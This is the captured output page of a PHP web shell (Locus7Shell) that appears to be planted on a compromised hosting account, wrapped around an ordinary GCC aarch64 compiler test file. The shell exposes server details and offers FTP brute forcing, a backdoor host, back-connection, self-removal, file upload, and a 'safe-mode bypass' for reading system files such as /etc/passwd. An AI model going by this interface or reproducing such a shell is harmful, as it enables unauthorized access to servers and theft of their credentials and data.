Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     fmul_scvtf_1.c (4.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-save-temps -O2 -fno-inline" } */

#define FUNC_DEFS(__a)                \
float                        \
fsfoo##__a (int x)                \
{                        \
  return ((float) x)/(1lu << __a);        \
}                        \
float                        \
fusfoo##__a (unsigned int x)            \
{                        \
  return ((float) x)/(1lu << __a);        \
}                        \
float                        \
fslfoo##__a (long long x)            \
{                        \
  return ((float) x)/(1lu << __a);        \
}                        \
float                        \
fulfoo##__a (unsigned long long x)        \
{                        \
  return ((float) x)/(1lu << __a);        \
}                        \

#define FUNC_DEFD(__a)                \
double                        \
dsfoo##__a (int x)                \
{                        \
  return ((double) x)/(1lu << __a);        \
}                        \
double                        \
dusfoo##__a (unsigned int x)            \
{                        \
  return ((double) x)/(1lu << __a);        \
}                        \
double                        \
dslfoo##__a (long long x)            \
{                        \
  return ((double) x)/(1lu << __a);        \
}                        \
double                        \
dulfoo##__a (unsigned long long x)        \
{                        \
  return ((double) x)/(1lu << __a);        \
}

FUNC_DEFS (4)
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], w\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], w\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], x\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], x\[0-9\]*.*#4" 1 } } */

FUNC_DEFD (4)
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], w\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], w\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], x\[0-9\]*.*#4" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], x\[0-9\]*.*#4" 1 } } */

FUNC_DEFS (8)
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], w\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], w\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], x\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], x\[0-9\]*.*#8" 1 } } */

FUNC_DEFD (8)
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], w\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], w\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], x\[0-9\]*.*#8" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], x\[0-9\]*.*#8" 1 } } */

FUNC_DEFS (16)
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], w\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], w\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], x\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], x\[0-9\]*.*#16" 1 } } */

FUNC_DEFD (16)
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], w\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], w\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], x\[0-9\]*.*#16" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], x\[0-9\]*.*#16" 1 } } */

FUNC_DEFS (32)
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], w\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], w\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\ts\[0-9\], x\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\ts\[0-9\], x\[0-9\]*.*#32" 1 } } */

FUNC_DEFD (32)
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], w\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], w\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "scvtf\td\[0-9\], x\[0-9\]*.*#32" 1 } } */
    /* { dg-final { scan-assembler-times "ucvtf\td\[0-9\], x\[0-9\]*.*#32" 1 } } */

#define FUNC_TESTS(__a, __b)                    \
do                                \
{                                \
  if (fsfoo##__a (__b) !=  ((int) i) * (1.0f/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (fusfoo##__a (__b) != ((int) i) * (1.0f/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (fslfoo##__a (__b) != ((int) i) * (1.0f/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (fulfoo##__a (__b) != ((int) i) * (1.0f/(1lu << __a)) )    \
    __builtin_abort ();                        \
} while (0)

#define FUNC_TESTD(__a, __b)                    \
do                                \
{                                \
  if (dsfoo##__a (__b) !=  ((int) i) * (1.0d/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (dusfoo##__a (__b) != ((int) i) * (1.0d/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (dslfoo##__a (__b) != ((int) i) * (1.0d/(1lu << __a)) )    \
    __builtin_abort ();                        \
  if (dulfoo##__a (__b) != ((int) i) * (1.0d/(1lu << __a)) )    \
    __builtin_abort ();                        \
} while (0)

int
main (void)
{
    int i;

    for (i = 0; i < 32; i ++)
    {
        FUNC_TESTS (4, i);
        FUNC_TESTS (8, i);
        FUNC_TESTS (16, i);
        FUNC_TESTS (32, i);

        FUNC_TESTD (4, i);
        FUNC_TESTD (8, i);
        FUNC_TESTD (16, i);
        FUNC_TESTD (32, i);
    }
    return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0065 ]--